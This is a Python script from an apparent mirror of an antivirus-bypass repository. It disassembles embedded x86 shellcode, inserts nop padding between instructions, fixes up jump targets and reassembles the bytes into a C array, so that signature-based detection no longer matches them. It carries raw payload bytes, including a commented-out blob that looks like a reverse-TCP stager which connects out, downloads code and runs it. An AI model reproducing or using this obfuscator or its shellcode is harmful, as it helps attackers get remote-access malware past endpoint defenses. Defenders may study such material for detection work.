mirror of
https://github.com/TideSec/BypassAntiVirus.git
synced 2026-10-18 23:00:50 +08:00
tidesec
55 lines
5.4 KiB
Python
55 lines
5.4 KiB
Python
from capstone import *
|
|
from keystone import *
|
|
|
|
def assemble(code):
|
|
try:
|
|
ks = Ks(KS_ARCH_X86, KS_MODE_32)
|
|
encoding, count = ks.asm(code)
|
|
return [hex(i) for i in encoding]
|
|
except KsError as e:
|
|
print(e)
|
|
return -1
|
|
def byteoffset2index(offset):
|
|
temp=offset
|
|
a=0
|
|
for i in md.disasm(CODE, 0x0):
|
|
temp-=len(i.bytes)
|
|
a+=1
|
|
if temp==0:
|
|
return a
|
|
if __name__ == "__main__":
|
|
md = Cs(CS_ARCH_X86, CS_MODE_32)
|
|
controlflow=["jmp","jz","jnz","je","jne","call","jl","ja","loop","jecxz","jle","jge","jg","jp","jnl"]
|
|
registers=["eax","ebx","edx","ebp","esp","edi","esi"]
|
|
#CODE = b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0b\x59\x50\xe2\xfd\x6a\x01\x6a\x02\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x85\xc0\x75\x58\x57\x68\xb7\xe9\x38\xff\xff\xd5\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x97\x68\x75\x6e\x4d\x61\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x2d\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x07\x01\xc3\x29\xc6\x75\xe9\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"
|
|
CODE = b"\xb8\xc9\x58\xa0\x0c\xd9\xce\xd9\x74\x24\xf4\x5b\x29\xc9\xb1\x98\x83\xeb\xfc\x31\x43\x10\x03\x43\x10\x2b\xad\x7d\xc9\x11\x44\xae\xab\x14\x80\x3a\x68\x22\x6a\xf0\xb9\x7b\x1a\xc7\x69\x61\x1e\x78\x90\x16\xc8\x84\x46\xe7\x67\x22\x06\xdf\x47\xbe\xba\x30\x83\x99\x7a\x9a\x68\x8b\xe4\xc3\x14\xcf\x32\xc7\xcd\xbd\xe7\xbc\xd2\xfe\x87\xb9\xfa\x81\x4b\x98\x37\xca\x5d\xf5\x98\x2f\x3c\x01\x1d\x54\x49\xeb\xc6\x32\xe7\x5d\x9a\x41\xb5\x82\x8a\x4c\x40\x33\x9a\xf6\xcf\xb7\xfd\x6e\xe3\xe2\xa2\xbc\x17\x20\xd4\xa8\xcb\x4e\x31\x93\x29\x22\x2b\xb8\x0c\x3c\x17\x9f\x5f\x8b\x20\x9e\xdc\x2c\xb0\x36\xe1\xeb\xff\xe9\xea\xf4\x29\x7a\xeb\x5b\x24\xb6\x30\x51\xa8\x29\x22\xed\x0f\xb4\x10\x94\x3a\xde\x6f\x4f\x62\xc6\x36\x1c\x83\x61\x34\x67\xb1\xda\xc9\x88\x92\x13\x66\x6c\x92\x54\xc6\x35\x53\xc2\x8d\x12\x77\xef\xfa\x45\x4e\x37\x32\x43\xf3\xae\x85\x57\x14\xe1\x6e\xf9\xb7\x26\xac\xf6\x7c\x01\xa2\x27\x69\x55\xbd\xb6\x1a\x31\x47\x23\x15\xad\xc9\xc9\xc6\xca\x22\x9d\xb5\xf1\x82\xe5\x35\x03\x15\x46\xd7\xde\x19\x1b\x32\x9a\x4a\x57\xb0\xed\xa7\x6c\x77\x0c\xf9\x30\x20\x17\x9f\xe2\xf8\xca\x2c\xa4\x80\x77\x9d\x4c\x67\x1f\xc5\xea\xd9\x01\x9a\x22\xec\xde\x49\xdc\xab\xda\x6c\x33\xfc\x21\x1d\x2a\x61\x66\xa6\x5c\xa6\x3b\xc9\xc4\xa3\xfc\x8d\xa8\xc2\x62\x13\xe5\xbc\x55\xa5\x13\xca\xec\xe5\x60\xe5\x6d\xa9\x4b\xd4\x9d\x7f\x21\x55\xd0\xc0\x3d\x5a\x6b\x5a\x8d\x0f\xe4\xcf\x1f\x90\xab\xf8\x22\x35\xd3\xda\x7b\x58\x3b\x79\x6f\xe8\x0a\xa3\xdf\x70\xfc\x3d\xb3\xa5\x1d\x8e\x4f\x3a\xe7\xe9\x0c\x96\x25\xe0\x1e\x17\x7b\xcc\xfb\xc7\x5c\xdc\x4e\x0d\x8f\x21\xdb\xe2\x56\xc6\xb8\x3e\xa2\xa7\x20\x55\x2e\xbc\x03\x29\x77\xd4\x09\x0a\x54\x42\x26\xcc\x08\xeb\x8a\x84\x8e\x54\xa9\xf3\x48\xd0\xb6\xfc\x03\x39\xe4\xe7\x04\x56\x4e\x9b\x21\x37\x68\x40\x26\xc0\x7d\xd7\x1c\x23\xab\x91\x30\x59\x41\x3a\xae\x7a\xff\x77\x26\x29\xda\x42\xc6\xf6\x05\x0c\x2c\x72\x67\x06\x7b\xfa\x53\x0b\xb0\xa6\x60\xff\xa8\x94\x7e\x2c\x9f\x76\x12\x5c\xa9\x8f\x47\xc6\xa4\x64\x6e\x87\x2a\xab\x1b\xc2\xa2\xde\x29\x1d\x48\xb4\x82\x2a\x5a\x38\x12\x0d\xbf\x82\x1c\xd8\xfc\x9b\x42\x35\xd7\x40\xf4\x4e\x41\x54\xaf\xde\xd2\xf8\x0f\x75\x9a\x6a\x70\x5a\xc4\x29\xe2\xa9\xec\xc8\x55\x07\xc4\x04\x2e\x89\x02\xf2\xff\x19\x8a\xab\x04\x63\x25\x63\x41\xb7\x99\x66\x42\xad\x13\x6e\x9b\xb1\x3f\xe6\x30\x02\xed\x4f\x96\x66\x1c\x37\xbc\x77\xc1\xf6\x8f\xfd\xb1\x2a\x50\x62\xcf\x96\x5f\x14\xd4\xa2\xcf\x09\x07\xeb\x2a\xbb\xce\x2e\x27\x16\x49\x03\x68\x3b\x1b\x7e\x7a\x85\xf7\x1b\xc1\x61\x25\xc8\xe3\xe3\xae\x14\x86\x8e\xf6\xad\x1b\x5a\x97\x5f\x87\x24\xf1\xee\x08\x49\x48\x39\x2e\xad\x55\xe9\x4c\x34\x5d\x3b\x0b\xde\x09\xa6\x54\x2f\x0b\x59"
|
|
asm=";".join([i.mnemonic+" "+i.op_str for i in md.disasm(CODE, 0x0)])
|
|
asmarray=asm.split(";")
|
|
length=len(asmarray)
|
|
tags=[]
|
|
for i in range(0,len(asmarray)):
|
|
for mnemonic in controlflow:
|
|
if (mnemonic in asmarray[i]):
|
|
tags.append(i)
|
|
mask=[]
|
|
for i in range(0,len(tags)):
|
|
for reg in registers:
|
|
if (reg in asmarray[tags[i]]):
|
|
mask.append(tags[i])
|
|
[tags.remove(i) for i in mask]
|
|
tagins=[asmarray[i] for i in tags]
|
|
revision=[]
|
|
for i in range(0,len(tagins)):
|
|
b=tagins[i][tagins[i].index("0x"):]
|
|
n=byteoffset2index(int(b,16))
|
|
revision.append(n)
|
|
revision_unique=list(set(revision))
|
|
for i in range(0,len(revision_unique)):
|
|
asmarray[revision_unique[i]]="a"+str(revision_unique[i])+": "+asmarray[revision_unique[i]]
|
|
tagins=[asmarray[i] for i in tags]
|
|
for i in range(0,len(tags)):
|
|
asmarray[tags[i]]=tagins[i][:tagins[i].index("0x")]+"a"+str(revision[i])
|
|
obfuscation="nop"
|
|
code=obfuscation+";"+(";"+obfuscation+";").join(asmarray)
|
|
print("unsigned char buf[]="+str(assemble(code)).replace("\'","").replace("[","{").replace("]","}")+";")
|
|
#print("unsigned char buf[]="+str(assemble(code)[::-1]).replace("\'","").replace("[","{").replace("]","}")+";") |